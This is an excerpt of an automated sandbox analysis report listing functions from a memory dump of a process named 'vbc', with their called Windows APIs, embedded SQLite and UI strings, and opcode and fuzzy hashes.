                                                                                                              • Opcode ID: 0600c3fa923ac600481c4c27bdc763d37aac4bb3cec4cb789f1cecb2c3029c00
                                                                                                              • Instruction ID: b7e45597e31c4a606350929a185ef34a25fe7475720eeaf8429eabe2a59cceae
                                                                                                              • Opcode Fuzzy Hash: 0600c3fa923ac600481c4c27bdc763d37aac4bb3cec4cb789f1cecb2c3029c00
                                                                                                              • Instruction Fuzzy Hash: 6BD05B393502206BA7116F35BC48EAF2E65EFC6F537150031F501D1260CB544E429669
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0043310B Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 390COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: foreign key constraint failed$new$oid$old
                                                                                                              • API String ID: 0-1953309616
                                                                                                              • Opcode ID: 62ebdc269ebb98b136c9f16b4865919ffe4bf71bf72261f46eacdebf5a67e72f
                                                                                                              • Instruction ID: 956c7fa9d19c0f39a897be9568c0d7cc0038550a6314a583777b8070e5951de7
                                                                                                              • Opcode Fuzzy Hash: 62ebdc269ebb98b136c9f16b4865919ffe4bf71bf72261f46eacdebf5a67e72f
                                                                                                              • Instruction Fuzzy Hash: 90E18F71E00208EFDF14DFA5D881AAEBBB5FF48304F14846EE805AB251DB79AE41CB55
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0042EDD2 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 230COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 0042EE56
                                                                                                              • foreign key on %s should reference only one column of table %T, xrefs: 0042EE2E
                                                                                                              • unknown column "%s" in foreign key definition, xrefs: 0042EFB9
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                                                                                              • API String ID: 3510742995-272990098
                                                                                                              • Opcode ID: 26b123652edab92ce6a15b49f3ba4f50a5fd80d5e605533ee84f76b45fb6fb0c
                                                                                                              • Instruction ID: 495bb5eb18a6352e4e4c54452741b55d9a16d19d8a312fbbfa639f366bc90293
                                                                                                              • Opcode Fuzzy Hash: 26b123652edab92ce6a15b49f3ba4f50a5fd80d5e605533ee84f76b45fb6fb0c
                                                                                                              • Instruction Fuzzy Hash: 72914C71A0021ADFCB10CF5AD580A9EBBF1FF58314B55856AE809AB302D735E945CF98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AE21 Relevance: 7.6, APIs: 5, Instructions: 60COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADC7
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADD5
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADE6
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADFD
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040AE06
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 0040AE3C
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 0040AE4F
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 0040AE62
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 0040AE75
                                                                                                              • free.MSVCRT(00000000), ref: 0040AEAE
                                                                                                                • Part of subcall function 00408037: free.MSVCRT(00000000,00408352,00000000,?,00000000), ref: 0040803E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@$free
                                                                                                              • String ID:
                                                                                                              • API String ID: 2241099983-0
                                                                                                              • Opcode ID: 0b66915f84970c8dee2b815cea6b5dfc4349602c711738901fa1bf88fce7501e
                                                                                                              • Instruction ID: 5cedf5899733f7fd452d28a3e5974aab2a3b061775a7969347507653aae84efd
                                                                                                              • Opcode Fuzzy Hash: 0b66915f84970c8dee2b815cea6b5dfc4349602c711738901fa1bf88fce7501e
                                                                                                              • Instruction Fuzzy Hash: 13010832946A20ABC6367B2AD50251FB368BE91B90306457FF445BB3818F3C7C5186DF
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00414CBE Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • AreFileApisANSI.KERNEL32 ref: 00414CC6
                                                                                                              • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00414CE6
                                                                                                              • malloc.MSVCRT ref: 00414CEC
                                                                                                              • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 00414D0A
                                                                                                              • free.MSVCRT(?), ref: 00414D13
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWide$ApisFilefreemalloc
                                                                                                              • String ID:
                                                                                                              • API String ID: 4053608372-0
                                                                                                              • Opcode ID: 7aaa167120dddf07ba2af9e079abf54c4ac6044bb501c5d34657e102407f57a5
                                                                                                              • Instruction ID: 44ea64674f021cea2031e16b60495934b5371f4db2927085d3abb6a650cf4446
                                                                                                              • Opcode Fuzzy Hash: 7aaa167120dddf07ba2af9e079abf54c4ac6044bb501c5d34657e102407f57a5
                                                                                                              • Instruction Fuzzy Hash: 6601F4B140011DBEAF115FA9DCC5CAF7EACDA457E8720036AF810E2190E6344E4056B8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A302 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetParent.USER32(?), ref: 0040A314
                                                                                                              • GetWindowRect.USER32 ref: 0040A321
                                                                                                              • GetClientRect.USER32 ref: 0040A32C
                                                                                                              • MapWindowPoints.USER32 ref: 0040A33C
                                                                                                              • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040A358
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Window$Rect$ClientParentPoints
                                                                                                              • String ID:
                                                                                                              • API String ID: 4247780290-0
                                                                                                              • Opcode ID: 08c57ff735731e7da7a27fa3f9b2ad0737e344cc782b350b7b638dd860d33b4b
                                                                                                              • Instruction ID: 816d64d46c4b910dad83cc5cff1f19606824cbaca0e9d5d20ff5cebd8420fa85
                                                                                                              • Opcode Fuzzy Hash: 08c57ff735731e7da7a27fa3f9b2ad0737e344cc782b350b7b638dd860d33b4b
                                                                                                              • Instruction Fuzzy Hash: 06014836800129BBDB11AFA59C49EFFBFBCFF46B15F044169F901A2190D77896028BA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004421EB Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407144: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407156
                                                                                                              • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000000,00410671,?,?), ref: 00442202
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 00442216
                                                                                                              • memset.MSVCRT ref: 00442225
                                                                                                                • Part of subcall function 00407B93: ReadFile.KERNELBASE(?,?,5"D,00000000,00000000), ref: 00407BAA
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 00442248
                                                                                                                • Part of subcall function 00441FDC: memchr.MSVCRT ref: 00442017
                                                                                                                • Part of subcall function 00441FDC: memcpy.MSVCRT ref: 004420BB
                                                                                                                • Part of subcall function 00441FDC: memcpy.MSVCRT ref: 004420CD
                                                                                                                • Part of subcall function 00441FDC: memcpy.MSVCRT ref: 004420F5
                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 0044224F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1471605966-0
                                                                                                              • Opcode ID: 8d684c0203be65d6cee86c411987c92c8a6445e23ddedbadec83ee29d411de9b
                                                                                                              • Instruction ID: 5cd116c641245c85bcd5bad65d9d69835b0888748ca48550e443bbafd66aa86b
                                                                                                              • Opcode Fuzzy Hash: 8d684c0203be65d6cee86c411987c92c8a6445e23ddedbadec83ee29d411de9b
                                                                                                              • Instruction Fuzzy Hash: 3DF0FC325041007AE21077329D4AF6B7B9CDF85761F10053FF515911D2EA789904C179
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040ADBB Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@
                                                                                                              • String ID:
                                                                                                              • API String ID: 613200358-0
                                                                                                              • Opcode ID: bb5b54d35ac9345d4f67fd1f43b9bd0339cc6982e71662365849d1d3c181b2be
                                                                                                              • Instruction ID: 7485fa72425b52f9fdb5b203d173836123891f19866e380edd82503d68adac07
                                                                                                              • Opcode Fuzzy Hash: bb5b54d35ac9345d4f67fd1f43b9bd0339cc6982e71662365849d1d3c181b2be
                                                                                                              • Instruction Fuzzy Hash: D8F0FF72509701AFD720AF6999D991BB7F9BF943147A0493FF049D3A41CB78A8904A18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040C35B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040C37F
                                                                                                              • memset.MSVCRT ref: 0040C396
                                                                                                                • Part of subcall function 0040B9C3: wcscpy.MSVCRT ref: 0040B9C8
                                                                                                                • Part of subcall function 0040B9C3: _wcslwr.MSVCRT ref: 0040BA03
                                                                                                              • _snwprintf.MSVCRT ref: 0040C3C5
                                                                                                                • Part of subcall function 00407176: wcslen.MSVCRT ref: 00407183
                                                                                                                • Part of subcall function 00407176: WriteFile.KERNEL32(00000001,00000000,00000000,00000000,00000000), ref: 00407192
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
                                                                                                              • String ID: </%s>
                                                                                                              • API String ID: 168708657-259020660
                                                                                                              • Opcode ID: ed3ca334932eb13030ad141ea1100de8b1267ec76abb3a8f7f71a50922ffdfbd
                                                                                                              • Instruction ID: 40532074a48dce177473b235f1db1661615fe75cb863f0afecc7fe9ed9b88556
                                                                                                              • Opcode Fuzzy Hash: ed3ca334932eb13030ad141ea1100de8b1267ec76abb3a8f7f71a50922ffdfbd
                                                                                                              • Instruction Fuzzy Hash: 910136F3D4012976EB20A755DC45FEE76BCEF45308F4000B6BB09B7181DB78AA458AA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A414 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ChildEnumTextWindowWindowsmemset
                                                                                                              • String ID: caption
                                                                                                              • API String ID: 1523050162-4135340389
                                                                                                              • Opcode ID: 0770d01bbebb907716830064d8bced7af567b4e8952be56cced1b648d4788750
                                                                                                              • Instruction ID: f5bb4e3483ddd063dbb45333af41605001ac6cd66b5ccbc099165aa82e617e5a
                                                                                                              • Opcode Fuzzy Hash: 0770d01bbebb907716830064d8bced7af567b4e8952be56cced1b648d4788750
                                                                                                              • Instruction Fuzzy Hash: 44F0C83690031466FB20EB51DD4EB9A3768AB04755F5000B6FF04B61D2DBF89E50CBAE
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040103E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 004075AD: memset.MSVCRT ref: 004075B7
                                                                                                                • Part of subcall function 004075AD: wcscpy.MSVCRT ref: 004075F7
                                                                                                              • CreateFontIndirectW.GDI32(?), ref: 0040105D
                                                                                                              • SendDlgItemMessageW.USER32 ref: 0040107C
                                                                                                              • SendDlgItemMessageW.USER32 ref: 0040109A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                                                                                                              • String ID: MS Sans Serif
                                                                                                              • API String ID: 210187428-168460110
                                                                                                              • Opcode ID: 9567ec9b2f0dc6d22a5446aca1e43186409379ab266c501c72e5b3238589e89f
                                                                                                              • Instruction ID: b86dbe1d582a7894089203107e7a1e4413fc3d6f7e8de8594febed0b37e93160
                                                                                                              • Opcode Fuzzy Hash: 9567ec9b2f0dc6d22a5446aca1e43186409379ab266c501c72e5b3238589e89f
                                                                                                              • Instruction Fuzzy Hash: 56F05E75A4030877E621ABA0DC06F8A7BB9B740B01F000935B711B51E0D7E4A285C658
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004076CD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ClassName_wcsicmpmemset
                                                                                                              • String ID: edit
                                                                                                              • API String ID: 2747424523-2167791130
                                                                                                              • Opcode ID: 5d550bad1fc3d430151135b806da61cbea55bdd82f1e1fbc5f53ec133c7d6f5f
                                                                                                              • Instruction ID: 51a03c7d5923a90201923a44b10f324a390683a0d3b2f84b2934c4bf373e0ab9
                                                                                                              • Opcode Fuzzy Hash: 5d550bad1fc3d430151135b806da61cbea55bdd82f1e1fbc5f53ec133c7d6f5f
                                                                                                              • Instruction Fuzzy Hash: A9E04872D8031E7AFB14ABA0DC4BFA977BCBB04704F5001F5B615E10D2EBB4A6454A5C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004121C3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(shell32.dll,0040E314,00000000,?,00000002), ref: 004121D1
                                                                                                              • GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW,?,00000002), ref: 004121E6
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressLibraryLoadProc
                                                                                                              • String ID: SHGetSpecialFolderPathW$shell32.dll
                                                                                                              • API String ID: 2574300362-880857682
                                                                                                              • Opcode ID: 881f98a91457903b94e991739f1253563cd1b946a507866072d03daf316dbad8
                                                                                                              • Instruction ID: 4b50289c71ca44835333f785f02b611be4b8370b72da6f54bb0e40a9521e89f3
                                                                                                              • Opcode Fuzzy Hash: 881f98a91457903b94e991739f1253563cd1b946a507866072d03daf316dbad8
                                                                                                              • Instruction Fuzzy Hash: 86D0C774600313BADB108F209D48B4239746712743F251036F430D1771DF7895C49A1C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041B0C3 Relevance: 6.3, APIs: 5, Instructions: 82COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$memcmp
                                                                                                              • String ID:
                                                                                                              • API String ID: 3384217055-0
                                                                                                              • Opcode ID: c21ad6a5d3121964cfee4e4549eeaad2127827bfa0247cfb1633fe6ae368a6b9
                                                                                                              • Instruction ID: 295c5a0bc2866328f8dcc37ada2a4d99e769f04d629d2bea2717987aff5dfa66
                                                                                                              • Opcode Fuzzy Hash: c21ad6a5d3121964cfee4e4549eeaad2127827bfa0247cfb1633fe6ae368a6b9
                                                                                                              • Instruction Fuzzy Hash: 01217C72E10248BBDB18DAA5DC56E9F73ECEB44740F50042AB512D7281EB78E644C765
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E5BA Relevance: 6.3, APIs: 5, Instructions: 50COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$memcpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 368790112-0
                                                                                                              • Opcode ID: ef22b1934ad2d52127aca45cd93deb21b3ee899ba2995d0c9766137b2d6f5093
                                                                                                              • Instruction ID: 5db9a22820b402d4d4dd4a010236648e296a7231ae54e5ee969484aed16c8927
                                                                                                              • Opcode Fuzzy Hash: ef22b1934ad2d52127aca45cd93deb21b3ee899ba2995d0c9766137b2d6f5093
                                                                                                              • Instruction Fuzzy Hash: D301F0B174070077D335AA35CC03F1A73E49FA1714F400E1DF152666C2D7F8A105866D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415494 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 167COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004154B8
                                                                                                              • memset.MSVCRT ref: 004154E8
                                                                                                                • Part of subcall function 0041538D: memset.MSVCRT ref: 004153AA
                                                                                                                • Part of subcall function 0041538D: UnlockFileEx.KERNEL32(?,00000000,?,00000000,?), ref: 004153CA
                                                                                                                • Part of subcall function 00414EFE: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414F2A
                                                                                                                • Part of subcall function 00414EFE: SetEndOfFile.KERNEL32(?), ref: 00414F54
                                                                                                                • Part of subcall function 00414EFE: GetLastError.KERNEL32 ref: 00414F5E
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$File$ErrorLastUnlockUnothrow_t@std@@@__ehfuncinfo$??2@
                                                                                                              • String ID: %s-shm$,A
                                                                                                              • API String ID: 1271386063-2158068007
                                                                                                              • Opcode ID: e97150ecd3292b0c1fc6f67ffbb4081b9a3a76a2bb60b8d44e9283291b6bd327
                                                                                                              • Instruction ID: 8012e8fd2c705de7aa363bc2bd32bd15ad04531b7aa24a5a7ab2fd91cc4b7507
                                                                                                              • Opcode Fuzzy Hash: e97150ecd3292b0c1fc6f67ffbb4081b9a3a76a2bb60b8d44e9283291b6bd327
                                                                                                              • Instruction Fuzzy Hash: B1510671504B05FFD710AF21DC02BDB77A6AF80754F10481FF9299A282EBB9E5908B9D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415804 Relevance: 6.1, APIs: 4, Instructions: 138fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • CreateFileMappingW.KERNEL32(?,00000000,00000004,00000000,?,00000000), ref: 004158E7
                                                                                                              • MapViewOfFile.KERNEL32(00000000,00000006,00000000,?,?), ref: 00415912
                                                                                                              • GetLastError.KERNEL32 ref: 00415939
                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 0041594F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$CloseCreateErrorHandleLastMappingView
                                                                                                              • String ID:
                                                                                                              • API String ID: 1661045500-0
                                                                                                              • Opcode ID: e54a1143c91b2cced6003210cc0bcdbeb5c1320b0c8b584585a67ef015de7640
                                                                                                              • Instruction ID: 02e61587b06ba7d058713df3830c0e33945dcb010177779d6ae1e8dc7ea6695b
                                                                                                              • Opcode Fuzzy Hash: e54a1143c91b2cced6003210cc0bcdbeb5c1320b0c8b584585a67ef015de7640
                                                                                                              • Instruction Fuzzy Hash: B6518EB4214B02DFD724DF25C981AA7B7E9FB84315F10492FE88286651E734E854CB59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0042C345 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 132COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 004132EA: memset.MSVCRT ref: 00413304
                                                                                                              • memcpy.MSVCRT ref: 0042C42D
                                                                                                              Strings
                                                                                                              • sqlite_altertab_%s, xrefs: 0042C3FE
                                                                                                              • virtual tables may not be altered, xrefs: 0042C384
                                                                                                              • Cannot add a column to a view, xrefs: 0042C39A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpymemset
                                                                                                              • String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
                                                                                                              • API String ID: 1297977491-2063813899
                                                                                                              • Opcode ID: 73f7123a41afc254934908830e0006766df9d40b851d17961e81b3466ae4c6b7
                                                                                                              • Instruction ID: 3e8a37011c5d834ac6e6d4f8fd11fd3d4e87e0ccd438cada7bf19ffd6667b676
                                                                                                              • Opcode Fuzzy Hash: 73f7123a41afc254934908830e0006766df9d40b851d17961e81b3466ae4c6b7
                                                                                                              • Instruction Fuzzy Hash: 03419D71A00615AFDB10DF69D881A5EB7F0FF08314F24856BE8489B352D778EA51CB88
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0042E398 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 132COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: $, $CREATE TABLE
                                                                                                              • API String ID: 3510742995-3459038510
                                                                                                              • Opcode ID: 9c967c3a06afb765e02c907f2e49235dd04f948cd2abf78a2709aa5cc33f4167
                                                                                                              • Instruction ID: 75c0c8dac0447bb43292008ef446c40d7ab48a9469891862f1914eead86e2b05
                                                                                                              • Opcode Fuzzy Hash: 9c967c3a06afb765e02c907f2e49235dd04f948cd2abf78a2709aa5cc33f4167
                                                                                                              • Instruction Fuzzy Hash: C3518171E00219DFCF10DF9AD4856AEB7B5FF44309F64809BE841AB205D778AA45CB98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040475A Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004047A1
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A034
                                                                                                                • Part of subcall function 00409FF5: LoadStringW.USER32(00000000,00000007,00000FFF,?), ref: 0040A0CD
                                                                                                                • Part of subcall function 00409FF5: memcpy.MSVCRT ref: 0040A10D
                                                                                                                • Part of subcall function 00409FF5: wcscpy.MSVCRT ref: 0040A076
                                                                                                                • Part of subcall function 00409FF5: wcslen.MSVCRT ref: 0040A094
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A0A2
                                                                                                                • Part of subcall function 00407CFE: memset.MSVCRT ref: 00407D1F
                                                                                                                • Part of subcall function 00407CFE: _snwprintf.MSVCRT ref: 00407D52
                                                                                                                • Part of subcall function 00407CFE: wcslen.MSVCRT ref: 00407D5E
                                                                                                                • Part of subcall function 00407CFE: memcpy.MSVCRT ref: 00407D76
                                                                                                                • Part of subcall function 00407CFE: wcslen.MSVCRT ref: 00407D84
                                                                                                                • Part of subcall function 00407CFE: memcpy.MSVCRT ref: 00407D97
                                                                                                                • Part of subcall function 00407AB6: GetOpenFileNameW.COMDLG32(?), ref: 00407AFF
                                                                                                                • Part of subcall function 00407AB6: wcscpy.MSVCRT ref: 00407B0D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
